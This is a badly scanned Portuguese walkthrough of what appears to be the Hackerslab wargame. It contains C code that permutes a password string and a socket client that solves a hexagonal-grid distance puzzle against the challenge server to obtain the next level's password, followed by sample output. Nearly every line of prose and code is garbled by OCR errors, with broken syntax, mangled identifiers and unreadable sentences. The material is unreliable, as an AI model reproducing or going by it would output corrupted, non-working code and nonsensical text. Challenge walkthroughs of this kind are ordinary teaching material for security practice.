paso [4] ~ cadena [ 1 J ; -aso[3] = cadens [0];

1/ Visu~liz'Ell~O da cadeta resultan te hnprimle() ;1

Itrransfe;rhnos Qt resultado for (b=O': b<9 ;b++)

(

cadena [b] -1i"!li?S .... [bl~'

"'_-y~. L . .._ IJ~· .u. J ~J

J

/I Operacoes 2,

'~f( cadenalsl - 2 >= 0) ~ paso [1] ~ cat:lena[8] - 2;) else (paso [1] = cadenalsl - 2: +9'3;}

ir( cadena[7] ,_ 2 >- 0) lpasolul = cad.enaf7l = 2;,} else {paso~'O] =

cadenalrl ~ 2 +93;J 'P91so[8,11 = cadenalfi], paso [7] == cadena [5 '] ~ paso. [6 ] ~ cadenaj+] ~ paso-ISI] ~' cade -a[3L paso [ 4], '= cadena] 2] . paso [3] == cadena [ 1] ~ 'paSOl [2] = cadena 10];

.II Visua liza,oao da cadeia resuhante hnp'rim.,e() ;.

II Operacoes

~f( cadena[8] - 1 >~ 0) lpasn[O] :; cadlena(8JI ~ IJ else {paso If 0] = cadena [8]1 ' .. ' 1 +93:; J

pa.so[S] ,:= (:adena[7~; ·.:.asoif'r] =' cadenaje] ~ paso [6.]1 == cadena [5] ; pasot5,] = cadenaj+l; paso [i~1 ~ cadena [.3] ; paso.[3] = csdenalz]; paso [21 ~ cad 11a [ 1]-; paso ['I,] :~ cBldena,[O]l;,

IfItans.fennlQS 0 resultado for (b=O;b<9;b++)

{

cadena i[b] '=paso [b] : }

II Visualizacao da eadem resuhante impnmef) ~

~ IIFim

)

Agora." e so exeeutar 0 sc ':'pt e esperar que ele temostre as possfveis sellhas.

~e:SU1110 do problema: Crte tun programa para uma rede llep/lE Para res 0 lver 0 problema, t preciso que esse programa seja gerado pelo servidor, Depois que voce receber Ulna pergunta do servtdor e eonseguir responde-la, t so enviar n0V3111,en:t-e ao progranla do servidor para poder transmitir ao programs do chente,

Neste caso 0 ,piroitOOO~,Oi pars. comunicacao entre os dirre' orios esta na PSSbl ofjo:proi ocol.hje, Se VOCe consegntr coneesear 0 servidorpor 3 vezes seguidas ~ tera em maos ,9. 51! ' ha para 0' proxi -10 n vel,

HtIK:(I, 'IN:sl1Jr

'E l' ~ d b 1, ", iI" . d .

-XP'U':Bj,Cao: ,0 problerna.Voce tera ce criar um 'pro,g,ra'ma. que

compute a distlnciajl d.einido como 0 numero de celulas emum .i""~1 , inh 0'- m 0'315"'- curto ,I entre qualquer par d e. celulas. P' '0- 'iF exem "p' lo, d IO"l:~

~~l "~ •• " = ~~ _ b _. [~ ',- ~!IL .... '1, p. -,~ .~,l." 'i:.r~ ... At; e .IL ~.~. 'Vli·' ~:;;t.

pontes nas celulas 19 e 30 sao 5 Q~lliuWas a parte, um dos camtnhos mats CUrt05 que conectarn as celulas via celulas 1'9'11 71 61 5?' 15,? 30'1 asslrn vo ce tera [que mover 5 vezes para chegar da eel ula 'II 91 ale 11 ctllitda 30.

Voce recebera uma numeracao " ~era de calcular a distancL1. entre dais 'pO'Dt'OS. Assim que tiver a resposta, envte .. a para 0 servtdor, faca isso por 3 vezes. Encoruramos 0 arqufvo proto, h, pena, que este]a comen tad 0 em coreano! D"~" u "a olhada.

-k proto, b

'It

*

* author: jwseo

"

* 0>.)" 0"'0 ~AAiLAo, ql~l~_,c'hecker A[e:t:: ,<;00"g, 'It

"« ACtAl c;®At: A§C0 AtleA,ULiQQ A~o011[ClAtA0,il -;:

********.*** •• ~**~*********.A***** ;***.*****~*~*.*I

,#define SERVER;..,.PORT 100

#-d,[efine QUllERY~CHALLENGE 0 #(tefine Q.' ,"UE'RY iC10RR -:CT f

, -

- define QUERY..". N[CO'R"RE[CT 1:

struct Iqule'ry_,~e ( lnt flag;

tnt queljlJ; int query:_b;

char n.exLpass[30] '; ~;

typedef struct query_type Lquery;

stru ct renlv '"""0-' ( . ~ ~ '~r~/-~.1' y~

char curre.nl~pass[[30] ~

" 'nit answer; '~;

rvo edef S i met renlv _tvm.e t reply;

-I ~ 'r 1- '.1 ~. l_~·'irF .. ~

Agora, vamos V'eI- Sf: consegufmos enten aet Em principio i crtaremos urn progra 11L8 corn. as dtmensoes expostas no codtgo que: deve ter conexao 'via socket usando oomo meto de traasporte as estruturas que os coreanos nos d.20. Depois de muito tempo ,. fot consegutdo criar a fun.:;ao que calcula as disUlncias e >0 mecanisme de conexao com drill, hackerslab.org perua porta I 00. Confira 0 codigo a seguhr, estude-o bern e 0 execute,

#inclu.de <s,~, ,Iio .h>. #include -cstdlib, h> #i:ndude «strmg, h>

, . ~cl ude ·<syslso cket, h» #IDncludle ·<sysltypes, .. h> ,#inch.ude «netinet/tn .. h:> .' Include -enetdb.h» #include <m.9th.h.>

.

, __ :IIOIl~""-~--~:I!I!~_-_I ", __ ;;;;;o,_.iiiii~~_!!!!! ~ ._~:.;a.;;:m ._~=,~_.r_ ~ __ '

1* cltenre.c 'Ie l

/* Envio y recibo de mensajes COIl calculo de distancias, para hackerslab level 13 *1

/* By Jafar 200] */

.I**'*:'tdfddl!'!k******* *·*w.[J;.·;k ~** * ***·~k'*'!1.:·~'*** *':/I;'**,* *'-Ji*** '* ****''fL *'***/

.',. include "com un. h . include "proto. h" tnt resposta ;

int calcula(Ln.l origem ~ " , t destmo {

tnt ea l)a - ~carpa2 .bucle.contador.despla .. despla 1 ~i '~espIa2 Ilotal; tnt x_~x2~.yl ,yl~xdis,yd.is,~

totale l:

- .,-- -]t

bucle-z; ,eontadolllibO';, despla-O;

capa l='tolal', despla l=des.pla;

rOI'('·,~) {'

i' (coruador =.=- 6* total) ~

to'tal++~

d~~P~!;i'JI-O,', ',,,

~~ a-. ~g.- .. ,

coruadoreu;

if (bucle ==~' ongen) ~

capa2~total~ desp]a2=despla ~ 'break;

bucle-«; dpla++;

contador-«;

t

if(capal» T) [xl.ecapal-I; [else x l ~O~

yl~~l=capa, I ~

tf( capa2:>, ' ) [x2=ca,pa2-1 ';) else ,xhO; yl~-1-capa2;

ruf( des pla I ~O) II Batxa diagonal esquerda

{

if(bucl~~de.sphll) break; xl~-;

yl~~;

i

J

if( despla 1 »=capa 1) 1/ Su bida diagonal esqu erda {

fo;r{bucl",~~capa I-J ~bucl,e< (capal *' 2) -1 ;.bude++) ~

iHbud~=de.spl;a 1) break xl--'

y ++;

]

J

if(desplal~capal *,2) II Subida vertical (

f(u(buc l!e::::;( capa -.Ii 2)-] ; bucle<~( capa 1'*3 )-1 : hucle r +.) {

m r( buch;,;=~desp'la.l) break; yl=yl+2~

}

if(desp~a] »-capal *3) II Subida dt~gona] diretta 1

for(buc~e=(capa Z *.3) -I ; buc]e<:(capa 1. * 4)~1 ;bucl'e++ ) (

. F(bucl~=desp1a 1) break; xl++;,

yl++;

J

)

if(despJal>=capal *4) IIBai ra diagonal diretta (

for(lbuc]e:;;:(capa] *4)-1;b ld.e«capal *5)-l::bucle++) ~

i~(bucle==d.esp.la 1) break; xl++;

yl--,~

]

~

':'f( '.. '11-1" -I *5) 1.'1.:c...... . .' - .. -.~

ll' ,I . 0 'pw :;>=i:ap .. , "':' " w>dJ1Xa ~ ertrnca_

i'

loy( ucle~ (capa 1 *5)-1; bucle-edespla Lbuc l_'++) {

yl=yl-2:~

]

}

il(despla2>O) II Baixa diegonal esquerda {

~oT(buc:'~e~O;bu(:le<,capa2~ 1; bucle--s) I

~f(buc'1e==despma2)brea'k~

:<2-;

y2=~

~

1

jf( despla2>=eapa2) Ii Subida diagonal esquerda

~

.Fc.n{b1Llcle=ca :al- ;bucle,<{capa2. * 2)~ - ~buc'~e++) 1

if(bue' ==desp'~a2)breal,':

x2-;

y"2++:,

~

J

"f( de.spla2>~capa2·* 2) .II Su bida v'f'rtica'~ [

for (btw1cle=( cap22 *- 2).-, ;bucle<{~p,al *3) = ; bucle- +-) ~

, l~ucle-=d.espla2) break:

y2 y2+2;

)

ror(bucle=::(cap~2 *3).-1 ;'bucle< (capa2 *4 )-. ;buc'te+ -) (

tF(bucle=-despla2)brealk~

x2t+;

y2++,·.

~

if(despla2>~alp.a2 ~ 4 " II' haixa diagonal diretta I

for(bucl~:(capa:2 * 4 ) .. lJbuc~e<(.capa2 S)~ ;buc~e#) (

if(buc:l~=despla2) bR~al(~ x2++;

y2'~-~

J.

}

irCdespb~ 2>=capa2. ;w'·S·) l

ror(buc'~,e~( capa2,'k 5)~ ; bu.c1!e<!desplal;bucl,f'-++) (

y2-y2-2;

J

~

1/ ,Agl~l ra fazemos JOS calculos penmenres para a disLllncia. x e y if(x]=~x2)xcl~O.:

if(yl~""'Y2)y ]S~O~

IIAjusrnm.'os as d~fer-encas en- X if(xl>x2)

-I

U(,x <0) {

Jf(xl>=O) ~

i~(x2>=O) .xdis:abs{:x:l )--;abs(x2) ~

~f(x2< 0) xdis=abs(xl)~ab5(x2)~

i[(x2>xl) 1

]f(x2<O)

{

~ if(x2>~O)

{

if(xl>=O) xdi~~:bs'(K2)=abs(xl); if(x -I < 0) X(Hs.=ahs(x2)+abs(xl)~

~

I;'·· justamos as dtferencas em Y

i.£(y1 >y2)

~

1-

trey - >~O)

~

i[(y2>==0) ydis~abs(yl) -abs(y2) ;, if(y 2< 0) yd.is=abs(y 1) +.abs(y 2.):,

J. if(yZ>yl)

~

if(yl<O) (

ydffi...;abs{y 2) -absty 1);

I if(y2>=O)

(

III

nrin ~'f('~[ K 1 '" %',. d ' '''1 !i~ N 1) .

r ".~.~I!.= '..' \I..~., _ '.'j

pr~.ntfC)11: %d \n j~! yI).;

.' .' n' !if· .(. u, . - 1 ,. %d- \., ..... lll< '.. 111 J':'- '.

p,n .. III '. ,capa ,.' -'.... 1;;11.,1. i CaJP3.t ',~

'liillnr'Din,£;(l!)!:d' escartsr '~I, Old ur" desp lal); r- UJ.I. - ~~o . , J. Il '~/tL . ~I ~JL~ _. __ ~~ 'I

pli,lllf( ~~'x1.: %dl \rm. ~~ , x2);,

pdn~fC~y'2: %d. \n'n, y.2)~ iir1d'IIi"io'I'f-(~[ ca}lrnal' 'Q.!' d \H,b c,~rp'al)"

It"' II;~!. ~..- --, 70. " !..!..~ l" <Gt,~, _ ~

pr:mtf( "descartar 2:' %d \lil' , desplaz);

·:Ji_'·1Jin:'ntT;(~":tJ.JI;,~,, '%- d ~'''i"''~j xdis) r .. -_ \. ,u~. . _ -UJ I)~; ~J •• I!

• . ·iI!"-b·'!" di ,Ol..al \'" ~j -..J!,' ),

l'nntl" y __ lS.J;QUJI[ lU ~ yu1S'. j

-p-:I~'~l'~"f(.' 'LI distanci ·a'· oi,d- \ ..... , II l"f!'-~O" ""'i ..... I·)· '"

[_ ,I,~ ,~!L= 'l._~ y~~ !J~dL .!I ro. .\t.~, l~" ''!In'''ioE[~., ~ ~ '~

J

II Ag:·o:r:a. verernns q.: ue tin-t) de disb.lnc~a teremos p am calcular

. I, lr."" ,

II Primelro caso

i((,a.'bs(xdis) >,::;;abs(ydis) && xdts ~ =: 0) ~'

r;~po-s~a=abs(x:di,s) ~

J

JISegtuliillo 1(:'380

else i:f(xd"is= ~[))

[

respo5ca...:;abs(ydts)/2.; 1

else

II 'Ierceiro caso

-(

reSI"05[a~~bs(xdis )+( (ahs(ydis)-a'bs(xdis) ).12); )

mt aib[e=o:socl(tt(hostnanl,e,~ port)

~ char *hostnal!E1e;



mt port;

~

runt skr;

struct ockaddr.jn sktin; StnJ1JICt hosteru *lil:.ost'

1* crt 0' socket, se ocorrer um erro o programa finaliza */

if ( (skr = sockeu A _, -= NET ~ SOC1LSTREAM , 0 /* protocol * n) -c 0)

.[ fpril1'tf(stdeuj,

* ERR'OR : Nao £oi possn el crtar 01 socket (pid=%d)\.

- n ld '("»)'

rr ge p:, ,;

- -I~'- ( ).-. /'* .. ,~ . ," d' . ~ - '., ERn!'O'R 'Ill'

e:xm ,e' ~ l!JJ:;nnU10 " 0 pro,gr.a ~ a., ~.', ~,,:, :

J

'm, msen &'-.sktin, 0" ,lzeo[(sk[]jn)); t" preenche ,00 rn 0 valor 0 "if: I skitin",sin_J~lmiID.y ~ A, )N:E.T:

1* hl~o.nn_a ,8 'puna por onde nos conectaremos *l skti l.slt:l..:PQ['1t '= hWl"[ts(por[');

1* passa 0 nome do b051 :21,10 ender 'co I ," '*1 '* -l 1. "ir;ao 16gi,C3, *1

if (host - gemoslbyna ne(hosma:me))

m__emlcpy( &sktjn .sin__s.Jddr! host-» h add[:~ host-'i>,hJengtb) ~

1* dectmeis separados por pontos'~ ,lireclo numerics tk I

else if ((sklin,.Sin.=Jw ' r.s~addr = ineLaddr(hostrul!me») -e 0 ) { fprint$(stdlerr.,

~ 1: ERR,D, ., , : Nao conheco 01 host %s (pi~%d)\n· ,

hostname , gletpid.());

exi~( -1): 1* 'tt1"mino do programa ERROIR "If: I

1

I" conectar o socket. *1

if (connecuskt, (struct sockaddr *)&:'skDn~ meof(sktin)) <: 0) 'I ~rin.lf(s tderr,

..,1* 'II!:1ILlpjO'R N' ,,," '. - - - --- L ....... , M ... .t!IL.JI: (', "'...:IIi Ol .... ·:]"!Oi.""'",~j

,LUl;~ , c: ao COl1S]lgO conoctar com, 0 i~t'I~. ~U;Jl \p' u=-tOUj ~~, ~

iii

hostname ! port ~ g;{!'tl?~d());

,exit(-l); /* rermino do programs: E.'RR'O'R, */ )

rearm (Sl~,'E}~ j

int Inail1(argc,~a:rgv.;envp) Int argc;

char :I'i:'~'1f"jJ"ljJ "e :1f"i'\iT'Ii~ ~ .,' ~.~. ~.9 ~.,

i

int skt, burp os.bucle.paoote; chair' bunT.' M_B!UFFER];,

II Esmrturas para, 0 hackerslab

t_query reciho; /I usada 'pa;lifl dados recebidos do servidor Lreply mando; II usada para mandar respostas

1:1; abre 0 SOClU;';l ~ I

s,kt~abre~s"{)cl~et(SERVERHOSTl SERVERPO;RT);

II Password Atual

stl'(~y(]n.ando. cun'ent_pa5S'I,~~,chll296r]f~);

1* processo central 111 for(pacot= 1 ;pacole<4;paoo t,++ )

~

/* 'recql.:;:i~) do primeiro pacote *1

j f (bufpos:::read(skt, &recibo~ s~eof(re.'Cibo»)) < 0) ( fprtnt~(s:tderr,

«;It ER'O'R: Nao constgo ler pelo socket %d (pid %d)\n'n ~ skt ~ getpkl())~

}

'else

(

..

]

if(rec:i.ho ,&g~~2) [

. _ ,. _ .-.iIZ'( .. ~~. \.'" j~)c.

pnnllh.: t __ m-m_~~=========~-~- \L]1 . ii

:pd.Dt[( "Resposta ao paquete %d fzdha\lll'! ~·pa.cntf-l);

.pri11tf( ~'~.=~~=_~~_m __ , , ~_ m'll') ~

r [e_icha 0 socke~. *1

·]f (close(sk:t) .<: 0)

I

fprri .. n.t~(stderr.)~'* ·ERJFtOR.: .Ao fechar osocket%d (pid.~·%d)\l1'~~ ~skt

, g,etp:id(»)';

eXit(= 1) ~ j:llf t,t_nniuo do 'pr-ogt-ams': ·E.1RRO'R ~ I }

loJ[. ·te;n11:rn:n,Q do, 'prf-ogr~l'm_a:~ '0K *l return O~

.f* Sol u~ao da pergunaa *1

pontE( "Calculando resposta %d .... \n \n]~ .pacote) ;

11esnues:~O~

r .

],:f( recfbo, q uery _b > re-c~b(l"q;.Uie:ry:~.a) calcula (recibo ,'qu ery _Ia ~

redbo.query _b) ~

ifC recibo ,(~U ery =.a >. recfbo.query.b )-ealen hI (reci bo ;.query·~·.b l'

lb -,

- 1 - I _., I - ' - • ,. . 'I-

r:eClO.qJuery_$l .~

/* - - - , : - - - - .t"!i,~ a '1iTii~!'mp.;T'~ 'Ii"£iI''''p"",eo r.~ *1'

'enV,l3m.\J!b GO, !It"",'; i. , ~U"~ Jl,~, .: V,;:;J·~, '.'

. ,- s ; ""rt,w~,_' _ . -,~I ,'-.-1 - ". 1- - %' ~I ~,~, \. ....... ~! , -, -I,~ .. ,- -,)' e

prUlu II,. ~n VU[l1!UlO p~coiILe ,~, .. ". l;jIIJ. \U. ~pa.co te ~

rnando.answer -. resposta~

'wf (write (sk[,&m~ndoy'sizeof:(lnando)) <: 0) { fprinlf{stderr~

"'~*'E-R'_"R_"O····R'· N'::'~,,, ···_- .. 'I"'-- ' .. , ..•. _ .. ~ ....... - ..... -TII··-'-·'QI.',d (--:td-'_Ol-1i)!;;,",.~j

, - ' .'. " , '. ,ao oonSl,go ~l1!Vel no SOCKe [ 1,0 - .. IU- ·t-au.·. \Ill.

· .

prin l_f('!' Erre n umero %d, \[1~' ~ skt) ~

~ else

{

p,:dntf(~~Paco:te le_"·' ;'Iado a hackerslab \n:~J):, ~ -' 'tf:( ~(, '\., ..... il) ~

pl,n_ .... _ ,iM __ .... ~c,~_~_r.. IiiII_i&l~..,;;;;;;~!!'"~'I!"'!'II!II'II!!I''lIIIIIII-= .-J \lLJ, . ~

printf( "Resposta: %d \n ", mendo.answer);

'1Iii,¥ilnl.,r;{~[p- 'oJIIC~],lln'~ a· tual: %·.c \,.". 'ji~ 1m' . snd n IIf'!'n lIrt"t'D'nLn!il~(:) .

r,l. ~ yl'\, . ~ 1trr ulll:U J~Q.I1', .'~l \t ~ ~ , ~,. , ,V!i ~~~ ~ .... ' . P'~ '~

-~'-_- ,[(.m; Un \n' j-).

P"'D't ' iiiIII ..... ~~~·~'II!"'I!i ._ __ - __ ~ ..... ~.= ~!I'ZIII-____· . I '_

",11.., , " _' , '. '~

p[']"n,'[fC"Em, espera p a ra receber pacote %d "" .. \n \

n" p score):

,.,.(jt - ,~ ,

}

~ II Fim de 3 envies

1* reeepcao do pacote final com 0 password .Jt/

~f (bufpw~rea ' (skt i 6t.recibo ~ sizeoRrcec.ibn))) ,< 0) j ,f, '-, '" it" d -.

1 prmtnstc err,

«* E'RROR, : Nin consigo ler pelo socket I%-d. (pid=%d)\n,'~ jl skt ') getpid()),;

-._ - '-'f;'(' I'~p .. n - • b·d-· '1· h - ke -'- l .... b _\n"")'

pnntn ocate leoe: .J;. 0 ( e ., ,ac_ersw - . . ,'jl

" f- (~' \n'~j):

nnntn - --- --- ='""~ .. "".=~-------,~--=""'=--,-, . .' ,I' .'

It;"'- - "

pr~nt[( (~nag:%d \n'~ ~ recibo, flag) ~

prin'[f( "origem: '0t6d. \n,"~. recfbo, query _a):: prinue~destino: ~tb.d \nl~ j recfbo.query, b) ,;

prt ,,.:r(.,.'«[p.g~~:I,'o',!iii1d," CDUlJ~l'n', .' • 'Qi',c '\n': I)j recibo tiext pass):

ilL I.~'" ' i(::~iY'!l ·IL' - .:ll'!w 0 ",,",-' u ro' 1'O.,;i!1_ , 'M - • flo.. 'U" "I, Ii;,JTl.,I!;,o....J. ... ..,.I~ . '~

- . - • ., f;( j~ '\n.,- ,', '!..,~. :1'1').

p~111L., ="~~ ~====~ ======IJ '\111,1, 'll

"I

else

I

/* fecha 0 socket *1 if (closefskt) -c 0)

[ Iprint f(s-ud],er1r1

~~* ERROR ~ Ao Iechar 0 socket %d, (pi.d=%d)\n!~ II skt jJ ,getpfud ()) i

exil(-I};,I* termin.o, ,do programs: ERROR. *1 ]

1* termmo do '~:rrogl;allltwJ': OK */ return 0;

.~

Pronto, j:a temos 0 programa, ag()m maos ~. ObN'~ Conecte e. chame

'1' ~

a ap icacao:

II

Asstm, veremoso texto durante 0 processoe o pacote recebido do hsekerslab.

Ulag: 0

orige m; ~5c.:;9-"18':'

-.i" 1i.4 ., .... ,

destino: 8021 'Password segu lnte;

C 1 ] - dl - -- - - ", • . I

a. eu an . .o resposta 1 ~ •••

X.I: 29

Y ,. ·=3

ca;pa.l:: 29- descarte 1:: 160 x2~: ,-12

y2: ·~92: capa2:S2 descarte 2:: 63

di -- AI.} XI IS::,.

yeUs.: ~89 distancia:: 165

I .nviando pacote I " .. ,

-~~II"!'!:l'II!~ __ ~ ,iIiII==";;;;;;;;_~_~".!"""l=~-e_IIIIIr.._"' __

Resp 65

osta: '" ~",

Password atual: ch~.I 296rh

, I I' p.~9'1'\i:!11 para receb Q.';P p'->,;Ii~'O'lt.g" 1

~,F"""JI,U, .!p"~ .. Jli.i~L ~ .. ~:.u. ]' ~"- . ,~ - - •• [11.

P - -- j. - _'-,,- b Td- -' de 1- -,c!l,r""',- -,'-1, b

aco te rece I 0 e ][8C~r.s a.

fiag:O

()rig', 'll: 3383 d .. estino: 11]l iO

Password seguin 1 ..

Calculando respos.:m, 2 ... ,.

xl: -7

Y'l: -37' cspal:22 descarte 1." 28 xl: 18

y2: -SO

c(]pal: 34 descarte 2" 15:

. ~~,LL Ii

xdts: 25

ydms,: -13

dis;tlncia:: 25 Enviando pacote 1. ,.~.

Resposta: 25

Password atual: !chl129lurll

Pacote recebido de hackerslab

,nag: 0

origem; :2810 destine; 18516 P~SS"WiO:ro. se~inte;

xl • ,=25-,,-

,AII.!9IIl _

yl: -15

capal:25

des-cane 1:, 34

,x2: 1:2

yJ,: ~50

C~~ip8i1.: 3 m.

descarte 2·: 18

-~,.j • '''l1'

J\lUlS: .,j,~

yelis::: -35

distii:ncta:' 31 Envi~ndo l;ilcote], ... '"

Respostar 37

Password atual; chll19,6rh

En1 espera para receber pacote 3 .", ..

flag,: 1 origem: 0 destine: 0

'Password seguinte: . 0 the top'

A senha para 0 nlttmo ntvell

Espetarnos qu esse doeumento seja util para entender melhor as. brechas em urn sistema, nao comets os mesmos erros e nao se esqueca:

Nao existe um sistema 1.00 '%, protegidol Portanto, fique atento se illgo de estranho ocorrer em seu PC OIM. em urn servidor que voce a dministra .. Boo. sorte, agora 0 ultim'Q nive~ ,e com vocel

I,

fl' ,;5~749r]T

1[!U~5,7' .111 ~DO, >

Você também pode gostar